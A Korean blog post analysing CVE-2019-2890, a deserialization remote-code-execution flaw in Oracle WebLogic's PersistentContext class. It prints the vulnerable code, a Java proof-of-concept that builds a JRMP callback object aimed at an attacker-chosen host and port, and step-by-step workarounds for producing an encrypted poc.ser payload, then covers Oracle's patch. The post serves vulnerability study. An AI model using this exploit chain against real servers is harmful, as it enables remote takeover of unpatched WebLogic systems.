🌑

CVE-2019-2890

예전부터 분석을 하고, 글을 작성하려 했지만 게으름 탓인 지 2020년에 할려 했던 걸 지금 하고 있습니다. 이번 취약점은 오라클에서 제공하는 Oracle Fusion Middleware의 웹 로직 서버에서 발견 된 역직렬화 RCE 취약점입니다. 해당 웹 로직 서버에서는 데이터를 T3 프로토콜을 이용해서 전달하는데, 안전하게 전달하기 위해서 Serialize -> encryption -> Decryption -> Unserialize와 같은 과정을 거쳐 전달한다고 합니다. 하지만 데이터에 대한 검증 절차가 존재하지 않아 데이터를 역직렬화 할 때 RCE 취약점이 터지게 됩니다.

CVE ID Version CVSS
CVE-2019-2890 WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0 7.2


VE-2019-2890는 WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0에서 모두 발생했고, 2019년 10월 16일에 POC가 공개됐고, 10월에 바로 긴급패치를 발표했다고 합니다.


CVE-2019-2890

취약점은 PersistentContext 클래스에서 발생합니다.

private void writeSubject(ObjectOutputStream var1) throws IOException {
    ByteArrayOutPutStream var2 = new ByteArrayOutputStream();
    ObjectOutputStream var3 = new ObjectOutputStream(var2);
    
    if (SubjectManager.getSubjectManager().isKernelIdentity(this._subject)) {
        AuthenticatedSubject var4 = (AuthenticateSubject)SubjectManager.
        getSubjectManager().getAnonymousSubject();
        var3.writeObject(var4);
    } else {
        var3.writeObject(this._subject);
    }
    
    var3.flush();
    byte[] var5 = var2.toByteArray();
    
    if (KernelStatus.isServer()) {
        var5 = EncryptionUtil.encrypt(var5);
    }
    var5 = EncryptionUtil.encrypt(var5);
    
    var1.writeInt(var5.length);
    var1.write(var5);
}

writeSubject 메서드는 데이터를 직렬화 하고, 암호화하는 메서드입니다. Line 5 ~ 11에서 데이터를 직렬화하고, Line 16 ~ 20까지가 암호화하는 부분입니다. 여기서 직렬화할 때 데이터의 대한 검증 로직만 있었으면 해당 취약점은 터지지 않았을 건데, 검증 로직이 없어 취약점까지 연계가 되었습니다. 이렇게 writeSubject 메소드에서 만들어진 직렬화 데이터는 아까 말한 T3 프로토콜을 이용해서 웹 로직 서버로 전송을 하게 됩니다.

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundExeception {
    this.initTransients();
    
    try {
        this._lock.writeLock().lock();
        this._propertyMap = (Map)var1.readObject();
        this._propBagClassNames = (Set)var1.readObject();
        this._contextPropertyMap = (Map)var1.readObject();
        this._invocationPropertyMap = (Map)var1.readObject();
        this._state = (PersistentContext.State)var1.readObject();
        this.readsubject(var1);
    } finally {
        this._lock.writeLock().unlock();
    }
}

직렬화 데이터를 T3 프로토콜로 전송하면 readObject 메서드를 이용해서 받아 readSubject 메서드로 넘겨주는 것을 볼 수 있습니다.

private void readSubject(ObjectInputStream var1) {
    try{
        int var2 = var1.readInt();
        byte[] var3 = new byte[var2];
        var1.readFully(var3);
        if (KernelStatus.isServer()) {
            var3 = EncryptionUtil.decrypt(var3);
        }
        
        ByteArrayInputStream var4 = new ByteArrayInputStream(var3);
        ObjectInputStream var5 = new ObjectInputStream(var4);
        this._subject = (AuthenticateSubject)var5.readObject();
    } catch (Exception var6) {
        WseeCoreLogger.logUnexpectedException("Couldn't completely read PersistenContext subject", var6);
    }
}

직렬화 데이터는 readObject 메서드에서 readSubject 메서드로 전달해 줘 받게 됩니다. Line 3 ~ 8에서 데이터를 읽고, 복호화를 하고, Line 10 ~ 12에서 역직렬화를 하는데 바로 이때 RCE가 터집니다.

이로서 우리는 PersistentContext 클래스에서는 직렬화한 데이터를 암호화하고, 전송한다는 것을 알고 있습니다. 그렇기 때문 익스플로잇을 하려면 이를 기반으로 POC를 작성해서 직렬화 데이터를 만들어주어야 합니다.


CVE-2019-2890 POC

package weblogic.wsee.jaxws.persistence;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import weblogic.kernel.KernelStatus;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class Poc  {
        public static Registry getObject(String command) throws Exception {
            int sep = command.indexOf(58);
            String host;
            int port;
            if (sep < 0) {
                port = (new Random()).nextInt(65535);
                host = command;
            } else {
                host = command.substring(0, sep);
                port = Integer.valueOf(command.substring(sep + 1));
            }

            ObjID id = new ObjID((new Random()).nextInt());
            TCPEndpoint te = new TCPEndpoint(host, port);
            UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
            RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
            Registry proxy = (Registry)Proxy.newProxyInstance(ysoserial.payloads.JRMPClient.class.getClassLoader(), new Class[]{Registry.class}, obj);
            return proxy;
        }
        public static void main(String[] args) throws IOException{
            System.setProperty("com.bea.core.internal.client","true");
            //KernelStatus.setIsServer(true);
            PersistentContext pc = new PersistentContext(null,null,null,null,null);
            FileOutputStream fos = new FileOutputStream("poc.ser");
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(fos);
            objectOutputStream.writeObject(pc);
            objectOutputStream.close();
        }
    }

위 java code가 main poc 코드입니다. 위 poc 클래스를 이용해 직렬화 데이터를 만들어야 합니다.

private void writeSubject(ObjectOutputStream var1) throws IOException {
    ByteArrayOutPutStream var2 = new ByteArrayOutputStream();
    ObjectOutputStream var3 = new ObjectOutputStream(var2);
    
//    if (SubjectManager.getSubjectManager().isKernelIdentity(this._subject)) {
//        AuthenticatedSubject var4 = (AuthenticateSubject)SubjectManager.
//        getSubjectManager().getAnonymousSubject();
//        var3.writeObject(var4);
//    } else {
//        var3.writeObject(this._subject);
//    }
[+] var3.writeObject(Poc.getObject());

    var3.flush();
    byte[] var5 = var2.toByteArray();
    
//    if (KernelStatus.isServer()) {
//        var5 = EncryptionUtil.encrypt(var5);
//    }
    var5 = EncryptionUtil.encrypt(var5);
    
    var1.writeInt(var5.length);
    var1.write(var5);
}

위와 같이 writeSubject 메서드에서 Poc.getObject를 추가하면 됩니다. 하지만 일단 직렬화 데이터를 만들기 전에는 4가지 문제점이 생기는데 이를 모두 해결해줘야 합니다.

Exception in thread "main" com.bea.core.security.managers.NotSupportedException
    at weblogic.security.service.SecurityServiceManager.isKernelIdentity(SecurityServiceManager.java:546)
    at weblogic.wsee.jaxws.persistence.PersistenContext.<init>(PersistentContext.java:168)
    at weblogic.wsee.jaxws.persistence.Poc2.main(Poc2.java:27)
  1. 첫 번째 오류는 PersistenContext 객체를 만들 때 발생합니다. 이 에러는 PersistenContext를 초기화 중에 호출 하는데 SecurityServiceManager.isKernelIdentity 메서드를 이용해서 커널 ID를 체크하는데 이때 에러를 내뱉고 직렬화를 종료하게 됩니다.
public static bollean isKernelIdentity(AuthenticatedSubject var0) {
    throw new NotSupportedException();
}

isKernelIdentity 메서드에서 NotSupportedException 메서드를 호출하는 것을 볼 수 있습니다.

PersistenContext(@NotNull String var1, @NotNull Map<String, Serializable> var2, @NotNull Set<String> var3, @Nullable Map<String, Serializable> var4, @NotNull Map<String, Serializable> var5) {
    super(var1);
    this._propertyMap = var2;
    this._proBagClassNames = var3;
    this._contextPropertyMap = var4;
    this._invocationPropertyMap = var5;
    this._state = PersistentContext.State.UNUSED;
   AuthenticatedSubject var6 = getCurrentSubject();
//      if (SecurityServiceManager.isKernelIdentity(var(6)) {
//          throw new IllegalStateException("Attempt to create PersistentContext using kernel identity. All actions that can create PersistentContext must run as a user principal");
//      } else {
//          this._subject = var6;
//          this._initTransients();
//     }
    this._subject = var6;
    this.initTransients();
}

첫 번재 문제는 위와 같이 PersistenContext에서 isKernelIdentity 메서드를 이용한 조건문을 모두 주석 처리함으로 해결할 수 있습니다.

  1. 두 번째 문제는 deserialization PersistenContext 클래스가 중단되는 것 입니다.
public class PersistentContext extends AbstractStorable {
    private static final long serialVersionUID = 1L;
    private static final AuthenticatedSubject KERNEL_ID = (AuthenticatedSubject)AccessController.doPrivileged(PrivilgedActions.getKernelIdentityAction());
    private transient ReentranReadWriteLock _lock;
    private Map<String, Serializable> _propertyMap;
    
    (생략)

PersistentContext 클래스를 보면 AuthenticatedSubject를 초기화하는 것을 볼 수 있습니다.

public static final SubjectManager getSubjectManager() {
    Object var0 = ceSubjectManagerLock; var0 (slot_0): Object@661
    synchronized(ceSubjectManagerLock) {
        while(ceSubjectManager == null) {
            if (ceClient) {
                ceSubjectManager = SubjectManagerFactory.getInstance().getSubjectManager();
                return ceSubjectManager;
             }
             
             try {
                 ceSubjectManagerLock.wait();
             } catch (InterruptedException var3) {
                 throw new AssertionError(var3);
             }
        }
        
        return ceSubjectManager;
    }
}

AuthenticatedSubject를 초기화 할 때는 위 코드가 실행되는데 ceClient의 값이 True가 아니라면 무한 루프에 빠지는 것을 볼 수 있습니다. ceSubjectManagerLock.wait 메서드에서는 직렬화가 실행되지 않습니다. 그리고 ceClient는 시스템 속성이기 때문에 com.bea.core.internal.client을 이용해서 True를 설정할 수 있습니다.

private static final bollean ceClient = "true".equalsIgnoreCase(System.getProperty( key:"com.bea.core.internal.client", def:"false"));

그래서 위와 같이 ceClient 변수를 설정해주면 무한루프에 빠지지 않아 두 번째 문제도 해결할 수 있습니다.

  1. 세 번째 문제는 직렬화 데이터가 암호화되지 않는다는 것 입니다.
public static byte[] encrypt(byte[] var0) {
    return Kernel.isServer() ? getEncryptionService().encryptBytes(var0) : var0;
}

EncryptionUtilencrypt를 확인해보면 isServer 메서드 값이 참이면 암호화한 값을 넣어주고, 참이 아니면 암호화하지 않고 원본을 반환하는 것을 볼 수 있습니다.

KernelStatus.setIsServer(true)

그래서 직렬화 데이터를 암호화하기 전에 위 구문을 정의해줌으로서 isServer 값이 참이 되게 만들면 직렬화 데이터가 잘 암호회되어 세 번째 문제도 해결할 수 있습니다.

  1. 네 번째 문제는 암호화에 사용되는 SerializedSystemIni.dat 파일이 없다는 겁니다. 해당 문제를 해결하기 위해서는 현재 웹 로직에서 사용되고 있는 SerializedSystemIni.dat 파일을 poc 디렉터리에 넣어주면 됩니다.
public static void main(String[] args) throws IOException{
    System.setProperty("com.bea.core.internal.client","true");
    //KernelStatus.setIsServer(true);
    PersistentContext pc = new PersistentContext(null,null,null,null,null);
    FileOutputStream fos = new FileOutputStream("poc.ser");
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(fos);
    objectOutputStream.writeObject(pc);
    objectOutputStream.close();
}

4가지의 문제를 모두 해결하였으면 poc.ser 파일을 생성하고, 해당 파일로 익스를 진행하면 RCE를 트리거 할 수 있습니다.


CVE-2019-2890 Patch

private void readSubject(ObjectInputStream in) {
    try{
        int length = in.readInt();
        byte[] var3 = new byte[length];
        in.readFully(bytes);
        if (KernelStatus.isServer()) {
            bytes = EncryptionUtil.decrypt(bytes);
        }
        
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        ObjectInputStream in2 = new PersistentContext.WSFilteringObjectInputStream(bais);
        this._subject = (AuthenticateSubject)in2.readObject();
    } catch (Exception var6) {
        WseeCoreLogger.logUnexpectedException("Couldn't completely read PersistenContext subject", var6);
    }
}

패치 코드를 확인해보면 readSubject 메서드에서 데이터를 검증하는 WSFilteringObjectInputStream 메서드를 이용해서 검증하고 있는 것을 볼 수 있습니다.

public tatic class WSFilteringObjectInputStream extends FilteringObjectInputStream {
    private String firstClassName;
    
    public WSFilteringObjectInputStream(InputStream in) throws IOException {
        super(in);
    }
    
    protected Class<?> resolveClass(ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {
        Class clazz = super.resloveClass(descriptor);
        if (this.firstClassName == null) {
            String className = descriptor.getName();
            
            try {
                clazz.asSubclass(Subject.class);
            } catch (Exception var5) {
                throw new InvalidClassExecption("Internal System Error");
            }
            
            this.firstClassName = className;
        }
        
        return clazz;
    }    
}

WSFilteringObjectInputStream 메서드는 위와 같습니다.


CVE-2019-2890 Point

  • 조건
  1. 웹 로직에서 T3 프로토콜이 열려있어야한다.
  2. 웹 로직에서 사용하고 있는 SerializedSystemIni.dat 파일을 릭할 수 있어야 한다.

분석을 해본 결과 해당 취약점을 이용해서 익스를 하기 위해서는 위 2가지 조건을 충족해야 하는 거 같습니다. 긴 글 읽어주셔서 감사합니다.


, — Feb 10, 2021